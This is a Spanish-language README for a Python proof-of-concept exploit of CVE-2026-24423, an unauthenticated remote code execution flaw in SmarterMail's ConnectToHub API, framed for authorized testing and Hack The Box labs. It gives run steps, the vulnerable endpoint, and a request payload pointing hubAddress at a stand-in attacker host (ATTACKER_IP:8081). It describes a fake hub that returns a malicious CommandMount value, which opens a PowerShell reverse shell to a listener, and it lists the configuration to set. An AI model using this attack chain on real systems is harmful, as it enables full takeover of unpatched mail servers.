
PoC de RCE no autenticada para CVE-2026-24423 en SmarterTools SmarterMail (ConnectToHub). Solo para pruebas de seguridad autorizadas, CTFs e investigación.
Un exploit basado en Python para CVE-2026-24423, una vulnerabilidad de ejecución remota de código no autenticada en la funcionalidad ConnectToHub de SmarterTools SmarterMail.
Uso previsto: Solo para pruebas de seguridad autorizadas, CTFs, laboratorios de Hack The Box y entornos de investigación controlados.
Úsalo solo contra sistemas que poseas o para los que tengas autorización explícita de probar. Consulta SECURITY.md.
# 1. Clonar
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Opcional) crear un entorno virtual — no se requieren dependencias de terceros
python3 -m venv .venv && source .venv/bin/activate
# 3. Configurar LHOST / LPORT / HUB_PORT en la parte superior de MalHub.py
# (consulta la sección Configuración a continuación)
# 4. Inicia tu listener de reverse shell, luego ejecuta el hub
python3 MalHub.py
Requiere Python 3.6+ (solo biblioteca estándar). Guía completa en la sección Uso a continuación.
CVE-2026-24423 es una vulnerabilidad de ejecución remota de código no autenticada que afecta a SmarterTools SmarterMail.
La vulnerabilidad existe en la funcionalidad ConnectToHub. Un atacante no autenticado puede proporcionar un hubAddress malicioso, provocando que el servidor SmarterMail realice una solicitud HTTP a un servidor controlado por el atacante.
El servidor malicioso responde con una respuesta setup-initial-connection manipulada que contiene un valor SystemMount.CommandMount controlado.
La instancia vulnerable de SmarterMail posteriormente procesa este valor como un comando del sistema operativo, permitiendo la ejecución arbitraria de comandos en el contexto de seguridad del servicio SmarterMail.
A la vulnerabilidad se le asignó una puntuación CVSS 4.0 de 9.3 (Crítica) y se clasifica como CWE-306: Falta de autenticación para función crítica.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-24423 |
| Proveedor | SmarterTools |
| Producto | SmarterMail |
| Vulnerabilidad | Ejecución remota de código no autenticada |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Crítica |
| CVSS v3.1 | 9.8 Crítica |
| Vector de ataque | Red |
| Autenticación | Ninguna |
| Interacción del usuario | Ninguna |
| Complejidad | Baja |
| Publicado | 23 de enero de 2026 |
| Compilación corregida | 9511 |
El registro oficial del CVE describe el problema como un RCE no autenticado a través del método API ConnectToHub.
Las versiones de SmarterMail anteriores a la compilación 9511 están afectadas.
El registro del CVE especifica el rango afectado como:
SmarterMail < 100.0.9511
La compilación 9511, publicada el 15 de enero de 2026, contiene la corrección del proveedor.
< 100.0.9511
>= 100.0.9511
Verifica siempre la compilación exacta instalada antes de intentar reproducir la vulnerabilidad.
La funcionalidad vulnerable está expuesta a través de la API de administración del sistema de SmarterMail.
La operación relevante es:
/api/v1/settings/sysadmin/connect-to-hub
El endpoint acepta un parámetro hubAddress.
Conceptualmente, un atacante puede proporcionar:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail entonces se conecta a la dirección del hub proporcionada y solicita:
/web/api/node-management/setup-initial-connection
El servidor controlado por el atacante responde con JSON que contiene un objeto SystemMount malicioso.
La propiedad importante es:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
El valor CommandMount es posteriormente utilizado por la aplicación vulnerable como un comando del sistema operativo.
Esto permite a un atacante pasar de:
Solicitud HTTP no autenticada
a:
Ejecución remota de comandos
El análisis técnico de VulnCheck confirma que el hubAddress controlado por el atacante provoca que SmarterMail solicite el endpoint setup-initial-connection del atacante y que el CommandMount devuelto puede proporcionar ejecución arbitraria de comandos.
El exploit consta de dos componentes:
El servidor Python escucha en:
POST /web/api/node-management/setup-initial-connection
y devuelve una respuesta JSON manipulada que contiene el SystemMount.CommandMount malicioso.
Un listener TCP separado recibe la conexión iniciada por el comando ejecutado en el objetivo.
Este exploit utiliza intencionalmente dos puertos separados.
8081
└── Hub falso de SmarterMail
4455
└── Listener de reverse shell
flowchart LR
A[Atacante<br/>10.10.14.50]
H[Hub falso de SmarterMail<br/>TCP/8081]
T[Objetivo SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Ejecución de comando]
P[PowerShell]
L[Listener de reverse shell<br/>TCP/4455]
A -->|Activar ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON malicioso| T
T -->|CommandMount| C
C --> P
P -->|TCP inverso| L
L --> A
Objetivo
|
| HTTP
v
10.10.14.50:8081
Objetivo
|
| TCP
v
10.10.14.50:4455
Estos puertos cumplen propósitos diferentes y no deben confundirse.
El exploit utiliza únicamente módulos de la biblioteca estándar de Python:
http.server
json
base64
No se requieren paquetes externos de Python.
Edita las siguientes variables:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Para el entorno HTB de ejemplo:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST es la dirección IP del atacante que el objetivo puede alcanzar.
Para Hack The Box, normalmente es la IP asignada a la interfaz VPN de HTB:
ip addr show tun0
Ejemplo:
tun0:
inet 10.10.14.50
Por lo tanto: